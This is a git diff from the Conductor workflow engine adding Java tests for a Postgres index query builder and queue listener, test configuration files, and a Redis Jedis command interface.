inputQuery = "updateTime>1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals( + "SELECT COUNT(json_data) FROM table_name WHERE update_time > ?::TIMESTAMPTZ", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForUpdateTimeLt() throws SQLException { + String inputQuery = "updateTime<1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE update_time < ?::TIMESTAMPTZ LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForUpdateTimeLt() throws SQLException { + String inputQuery = "updateTime<1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals( + "SELECT COUNT(json_data) FROM table_name WHERE update_time < ?::TIMESTAMPTZ", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForMultipleConditions() throws SQLException { + String inputQuery = + "workflowId=\"abc123\" AND workflowType IN (one,two) AND status IN (COMPLETED,RUNNING) AND startTime>1675701498000 AND startTime<1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE start_time < ?::TIMESTAMPTZ AND start_time > ?::TIMESTAMPTZ AND status = ANY(?) AND workflow_id = ? AND workflow_type = ANY(?) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:38:18Z"); + inOrder.verify(mockQuery).addParameter(new ArrayList<>(List.of("COMPLETED", "RUNNING"))); + inOrder.verify(mockQuery).addParameter("abc123"); + inOrder.verify(mockQuery).addParameter(new ArrayList<>(List.of("one", "two"))); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForMultipleConditions() throws SQLException { + String inputQuery = + "workflowId=\"abc123\" AND workflowType IN (one,two) AND status IN (COMPLETED,RUNNING) AND startTime>1675701498000 AND startTime<1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals( + "SELECT COUNT(json_data) FROM table_name WHERE start_time < ?::TIMESTAMPTZ AND start_time > ?::TIMESTAMPTZ AND status = ANY(?) AND workflow_id = ? AND workflow_type = ANY(?)", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:38:18Z"); + inOrder.verify(mockQuery).addParameter(new ArrayList<>(List.of("COMPLETED", "RUNNING"))); + inOrder.verify(mockQuery).addParameter("abc123"); + inOrder.verify(mockQuery).addParameter(new ArrayList<>(List.of("one", "two"))); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateOrderBy() throws SQLException { + String inputQuery = "updateTime<1675702498000"; + String[] query = {"updateTime:DESC"}; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, Arrays.asList(query), properties); + String expectedQuery = + "SELECT json_data::TEXT FROM table_name WHERE update_time < ?::TIMESTAMPTZ ORDER BY update_time DESC LIMIT ? OFFSET ?"; + assertEquals(expectedQuery, builder.getQuery()); + } + + @Test + void shouldGenerateOrderByMultiple() throws SQLException { + String inputQuery = "updateTime<1675702498000"; + String[] query = {"updateTime:DESC", "correlationId:ASC"}; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, Arrays.asList(query), properties); + String expectedQuery = + "SELECT json_data::TEXT FROM table_name WHERE update_time < ?::TIMESTAMPTZ ORDER BY update_time DESC, correlation_id ASC LIMIT ? OFFSET ?"; + assertEquals(expectedQuery, builder.getQuery()); + } + + @Test + void shouldNotAllowInvalidColumns() throws SQLException { + String inputQuery = "sqlInjection<1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String expectedQuery = "SELECT json_data::TEXT FROM table_name LIMIT ? OFFSET ?"; + assertEquals(expectedQuery, builder.getQuery()); + } + + @Test + void shouldNotAllowInvalidColumnsOnCountQuery() throws SQLException { + String inputQuery = "sqlInjection<1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String expectedQuery = "SELECT COUNT(json_data) FROM table_name"; + assertEquals(expectedQuery, builder.getCountQuery()); + } + + @Test + void shouldNotAllowInvalidSortColumn() throws SQLException { + String inputQuery = "updateTime<1675702498000"; + String[] query = {"sqlInjection:DESC"}; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, Arrays.asList(query), properties); + String expectedQuery = + "SELECT json_data::TEXT FROM table_name WHERE update_time < ?::TIMESTAMPTZ LIMIT ? OFFSET ?"; + assertEquals(expectedQuery, builder.getQuery()); + } + + @Test + void shouldNotAllowInvalidSortColumnOnCountQuery() throws SQLException { + String inputQuery = "updateTime<1675702498000"; + String[] query = {"sqlInjection:DESC"}; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, Arrays.asList(query), properties); + String expectedQuery = + "SELECT COUNT(json_data) FROM table_name WHERE update_time < ?::TIMESTAMPTZ"; + assertEquals(expectedQuery, builder.getCountQuery()); + } + + @Test + void shouldAllowFullTextSearch() throws SQLException { + String freeText = "correlation-id"; + String[] query = {"sqlInjection:DESC"}; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", "", freeText, 0, 15, Arrays.asList(query), properties); + String expectedQuery = + "SELECT json_data::TEXT FROM table_name WHERE jsonb_to_tsvector('english', json_data, '[\"all\"]') @@ to_tsquery(?) LIMIT ? OFFSET ?"; + assertEquals(expectedQuery, builder.getQuery()); + } + + @Test + void shouldAllowFullTextSearchOnCountQuery() throws SQLException { + String freeText = "correlation-id"; + String[] query = {"sqlInjection:DESC"}; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", "", freeText, 0, 15, Arrays.asList(query), properties); + String expectedQuery = + "SELECT COUNT(json_data) FROM table_name WHERE jsonb_to_tsvector('english', json_data, '[\"all\"]') @@ to_tsquery(?)"; + assertEquals(expectedQuery, builder.getCountQuery()); + } + + @Test + void shouldAllowJsonSearch() throws SQLException { + String freeText = "{\"correlationId\":\"not-the-id\"}"; + String[] query = {"sqlInjection:DESC"}; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", "", freeText, 0, 15, Arrays.asList(query), properties); + String expectedQuery = + "SELECT json_data::TEXT FROM table_name WHERE json_data @> ?::JSONB LIMIT ? OFFSET ?"; + assertEquals(expectedQuery, builder.getQuery()); + } + + @Test + void shouldAllowJsonSearchOnCountQuery() throws SQLException { + String freeText = "{\"correlationId\":\"not-the-id\"}"; + String[] query = {"sqlInjection:DESC"}; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", "", freeText, 0, 15, Arrays.asList(query), properties); + String expectedQuery = + "SELECT COUNT(json_data) FROM table_name WHERE json_data @> ?::JSONB"; + assertEquals(expectedQuery, builder.getCountQuery()); + } + + @Test() + void shouldThrowIllegalArgumentExceptionWhenQueryStringIsInvalid() { + String inputQuery = + "workflowType IN (one,two) AND status IN (COMPLETED,RUNNING) AND startTime>1675701498000 AND xyz"; + + try { + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + + fail("should have failed since xyz does not conform to expected format"); + } catch (IllegalArgumentException e) { + assertEquals("Incorrectly formatted query string: xyz", e.getMessage()); + } + } + + @Test + void shouldGenerateQueryWithWildcardPrefix() throws SQLException { + String inputQuery = "workflowType=abc*"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE workflow_type LIKE ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("abc%"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryWithWildcardContains() throws SQLException { + String inputQuery = "correlationId=\"*order*\""; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE correlation_id LIKE ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("%order%"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateExactMatchQueryWhenNoWildcard() throws SQLException { + String inputQuery = "workflowType=abc"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE workflow_type = ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("abc"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldNotExpandWildcardInINClause() throws SQLException { + String inputQuery = "status IN (COMP*,RUNNING)"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE status = ANY(?) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter(new ArrayList<>(List.of("COMP*", "RUNNING"))); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForClassifier() throws SQLException { + String inputQuery = "classifier=\"agent\""; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE classifier = ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("agent"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForClassifierInClause() throws SQLException { + String inputQuery = "classifier IN (agent,pipeline)"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE classifier = ANY(?) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter(new ArrayList<>(List.of("agent", "pipeline"))); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldMatchLegacyNullRowsForUntaggedClassifier() throws SQLException { + // Rows indexed before the classifier column existed are untagged plain workflows; + // filtering for the "workflow" token must also match those NULL rows. + String inputQuery = "classifier=\"workflow\""; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE (classifier = ? OR classifier IS NULL) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("workflow"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldMatchLegacyNullRowsForUntaggedClassifierInClause() throws SQLException { + String inputQuery = "classifier IN (agent,workflow)"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE (classifier = ANY(?) OR classifier IS NULL) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter(new ArrayList<>(List.of("agent", "workflow"))); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForParentWorkflowId() throws SQLException { + String inputQuery = "parentWorkflowId=\"\""; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE parent_workflow_id = ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter(""); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/util/PostgresQueueListenerTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/util/PostgresQueueListenerTest.java new file mode 100644 index 0000000..1b81135 --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/util/PostgresQueueListenerTest.java @@ -0,0 +1,202 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.util.*; +import java.util.concurrent.TimeUnit; + +import javax.sql.DataSource; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; +import org.testcontainers.shaded.com.fasterxml.jackson.databind.node.JsonNodeFactory; +import org.testcontainers.shaded.com.fasterxml.jackson.databind.node.ObjectNode; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.postgres.config.PostgresConfiguration; +import com.netflix.conductor.postgres.config.PostgresProperties; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.*; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.elasticsearch.version=0", + "spring.flyway.clean-disabled=false", + "conductor.database.type=postgres", + "conductor.postgres.experimentalQueueNotify=true", + "conductor.postgres.experimentalQueueNotifyStalePeriod=5000" + }) +@SpringBootTest +public class PostgresQueueListenerTest { + + private PostgresQueueListener listener; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Autowired private PostgresProperties properties; + + private void clearDb() { + try (Connection conn = dataSource.getConnection()) { + // Explicitly disable autoCommit to match HikariCP pool configuration + conn.setAutoCommit(false); + conn.prepareStatement("truncate table queue_message restart identity cascade") + .executeUpdate(); + // Commit to ensure truncation is visible across connection pool + conn.commit(); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + private void sendNotification(String queueName, int queueDepth, long nextDelivery) { + JsonNodeFactory factory = JsonNodeFactory.instance; + ObjectNode payload = factory.objectNode(); + ObjectNode queueNode = factory.objectNode(); + queueNode.put("depth", queueDepth); + queueNode.put("nextDelivery", nextDelivery); + payload.put("__now__", System.currentTimeMillis()); + payload.put(queueName, queueNode); + + try (Connection conn = dataSource.getConnection()) { + conn.setAutoCommit(true); + PreparedStatement stmt = + conn.prepareStatement("SELECT pg_notify('conductor_queue_state', ?)"); + stmt.setString(1, payload.toString()); + stmt.execute(); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + private void createQueueMessage(String queue_name, String message_id) { + try (Connection conn = dataSource.getConnection()) { + conn.setAutoCommit(true); + PreparedStatement stmt = + conn.prepareStatement( + "INSERT INTO queue_message (deliver_on, queue_name, message_id, priority, offset_time_seconds, payload) VALUES (current_timestamp AT TIME ZONE 'UTC', ?,?,?,?,?)"); + stmt.setString(1, queue_name); + stmt.setString(2, message_id); + stmt.setInt(3, 0); + stmt.setInt(4, 0); + stmt.setString(5, "dummy-payload"); + stmt.execute(); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + private void popQueueMessage(String message_id) { + try (Connection conn = dataSource.getConnection()) { + conn.setAutoCommit(true); + PreparedStatement stmt = + conn.prepareStatement( + "UPDATE queue_message SET popped = TRUE where message_id = ?"); + stmt.setString(1, message_id); + stmt.execute(); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + private void deleteQueueMessage(String message_id) { + try (Connection conn = dataSource.getConnection()) { + conn.setAutoCommit(true); + PreparedStatement stmt = + conn.prepareStatement("DELETE FROM queue_message where message_id = ?"); + stmt.setString(1, message_id); + stmt.execute(); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + @Before + public void before() { + listener = new PostgresQueueListener(dataSource, properties); + clearDb(); + } + + @Test + public void testHasReadyMessages() { + assertFalse(listener.hasMessagesReady("dummy-task")); + sendNotification("dummy-task", 3, System.currentTimeMillis() - 1); + await().atMost(500, TimeUnit.MILLISECONDS) + .pollInterval(20, TimeUnit.MILLISECONDS) + .until(() -> listener.hasMessagesReady("dummy-task")); + } + + @Test + public void testHasReadyMessagesInFuture() { + assertFalse(listener.hasMessagesReady("dummy-task")); + sendNotification("dummy-task", 3, System.currentTimeMillis() + 100); + assertFalse(listener.hasMessagesReady("dummy-task")); + await().atMost(500, TimeUnit.MILLISECONDS) + .pollInterval(20, TimeUnit.MILLISECONDS) + .until(() -> listener.hasMessagesReady("dummy-task")); + } + + @Test + public void testGetSize() { + assertEquals(0, listener.getSize("dummy-task").get().intValue()); + sendNotification("dummy-task", 3, System.currentTimeMillis() + 100); + assertEquals(3, listener.getSize("dummy-task").get().intValue()); + } + + @Test + public void testTrigger() throws InterruptedException { + assertEquals(0, listener.getSize("dummy-task").get().intValue()); + assertFalse(listener.hasMessagesReady("dummy-task")); + + createQueueMessage("dummy-task", "dummy-id1"); + createQueueMessage("dummy-task", "dummy-id2"); + assertEquals(2, listener.getSize("dummy-task").get().intValue()); + assertTrue(listener.hasMessagesReady("dummy-task")); + + popQueueMessage("dummy-id2"); + assertEquals(1, listener.getSize("dummy-task").get().intValue()); + assertTrue(listener.hasMessagesReady("dummy-task")); + + deleteQueueMessage("dummy-id2"); + assertEquals(1, listener.getSize("dummy-task").get().intValue()); + assertTrue(listener.hasMessagesReady("dummy-task")); + + deleteQueueMessage("dummy-id1"); + assertEquals(0, listener.getSize("dummy-task").get().intValue()); + assertFalse(listener.hasMessagesReady("test-task")); + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/test/integration/grpc/postgres/PostgresGrpcEndToEndTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/test/integration/grpc/postgres/PostgresGrpcEndToEndTest.java new file mode 100644 index 0000000..9b00cbb --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/test/integration/grpc/postgres/PostgresGrpcEndToEndTest.java @@ -0,0 +1,54 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.grpc.postgres; + +import org.junit.Before; +import org.junit.runner.RunWith; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.client.grpc.EventClient; +import com.netflix.conductor.client.grpc.MetadataClient; +import com.netflix.conductor.client.grpc.TaskClient; +import com.netflix.conductor.client.grpc.WorkflowClient; +import com.netflix.conductor.test.integration.grpc.AbstractGrpcEndToEndTest; + +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.db.type=postgres", + "conductor.postgres.experimentalQueueNotify=true", + "conductor.app.asyncIndexingEnabled=false", + "conductor.elasticsearch.version=7", + "conductor.grpc-server.port=8098", + "conductor.indexing.type=elasticsearch", + "spring.datasource.url=jdbc:tc:postgresql:11.15-alpine:///conductor", // "tc" prefix + // starts the + // Postgres container + "spring.datasource.username=postgres", + "spring.datasource.password=postgres", + "spring.datasource.hikari.maximum-pool-size=8", + "spring.datasource.hikari.minimum-idle=300000", + "spring.flyway.clean-disabled=true", + "conductor.app.workflow.name-validation.enabled=true" + }) +public class PostgresGrpcEndToEndTest extends AbstractGrpcEndToEndTest { + + @Before + public void init() { + taskClient = new TaskClient("localhost", 8098); + workflowClient = new WorkflowClient("localhost", 8098); + metadataClient = new MetadataClient("localhost", 8098); + eventClient = new EventClient("localhost", 8098); + } +} diff --git a/postgres-persistence/src/test/resources/application.properties b/postgres-persistence/src/test/resources/application.properties new file mode 100644 index 0000000..d4ac858 --- /dev/null +++ b/postgres-persistence/src/test/resources/application.properties @@ -0,0 +1,7 @@ +conductor.db.type=postgres + +spring.datasource.url=jdbc:tc:postgresql:11.15-alpine:///conductor +spring.datasource.username=postgres +spring.datasource.password=postgres +spring.datasource.hikari.maximum-pool-size=8 +spring.datasource.hikari.auto-commit=false diff --git a/redis-api/build.gradle b/redis-api/build.gradle new file mode 100644 index 0000000..f607448 --- /dev/null +++ b/redis-api/build.gradle @@ -0,0 +1,3 @@ +dependencies { + api "redis.clients:jedis:${revJedis}" +} diff --git a/redis-api/src/main/java/com/netflix/conductor/redis/jedis/JedisCommands.java b/redis-api/src/main/java/com/netflix/conductor/redis/jedis/JedisCommands.java new file mode 100644 index 0000000..2120627 --- /dev/null +++ b/redis-api/src/main/java/com/netflix/conductor/redis/jedis/JedisCommands.java @@ -0,0 +1,145 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.util.List; +import java.util.Map; +import java.util.Set; + +import redis.clients.jedis.params.ScanParams; +import redis.clients.jedis.params.SetParams; +import redis.clients.jedis.params.ZAddParams; +import redis.clients.jedis.resps.ScanResult; +import redis.clients.jedis.resps.Tuple; + +/** Common interface for sharded and non-sharded Jedis */ +public interface JedisCommands { + + String set(String key, String value); + + String set(String key, String value, SetParams params); + + String set(byte[] key, byte[] value, SetParams params); + + String get(String key); + + Boolean exists(String key); + + Long persist(String key); + + Long expire(String key, long seconds); + + Long ttl(String key); + + Long setnx(String key, String value); + + Long incrBy(String key, long increment); + + Long hset(String key, String field, String value); + + Long hset(String key, Map hash); + + String hget(String key, String field); + + Long hsetnx(String key, String field, String value); + + Long hincrBy(String key, String field, long value); + + Boolean hexists(String key, String field); + + Long hdel(String key, String... field); + + Long hlen(String key); + + List hvals(String key); + + Long sadd(String key, String... member); + + Set smembers(String key); + + Long srem(String key, String... member); + + Long scard(String key); + + Boolean sismember(String key, String member); + + Long zadd(String key, double score, String member); + + Long zadd(String key, Map scores); + + Long zadd(String key, double score, String member, ZAddParams params); + + List zrange(String key, long start, long stop); + + Long zrem(String key, String... members); + + List zrangeWithScores(String key, long start, long stop); + + Long zcard(String key); + + Long zcount(String key, double min, double max); + + Double zscore(String key, String member); + + List zrangeByScore(String key, double min, double max); + + List zrangeByScore(String key, double min, double max, int offset, int count); + + List zrangeByScoreWithScores(String key, double min, double max); + + Long zremrangeByScore(String key, String min, String max); + + Long del(String key); + + Long llen(String key); + + Long rpush(String key, String... values); + + List lrange(String key, long start, long end); + + String ltrim(String key, long start, long end); + + ScanResult> hscan(String key, String cursor); + + ScanResult> hscan(String key, String cursor, ScanParams params); + + ScanResult sscan(String key, String cursor); + + ScanResult scan(String key, String cursor, int count); + + ScanResult zscan(String key, String cursor); + + ScanResult sscan(String key, String cursor, ScanParams params); + + String set(byte[] key, byte[] value); + + void mset(byte[]... keyvalues); + + byte[] getBytes(byte[] key); + + List mget(String[] keys); + + List mgetBytes(byte[]... keys); + + Object evalsha(final String sha1, final List keys, final List args); + + Object evalsha(byte[] sha1, List keys, List args); + + byte[] scriptLoad(byte[] script, byte[] sampleKey); + + String info(String command); + + int waitReplicas(String key, int replicas, long timeoutInMillis); + + String ping(); +} diff --git a/redis-api/src/main/java/com/netflix/conductor/redis/jedis/UnifiedJedisCommands.java b/redis-api/src/main/java/com/netflix/conductor/redis/jedis/UnifiedJedisCommands.java new file mode 100644 index 0000000..ec23d1f --- /dev/null +++ b/redis-api/src/main/java/com/netflix/conductor/redis/jedis/UnifiedJedisCommands.java @@ -0,0 +1,336 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

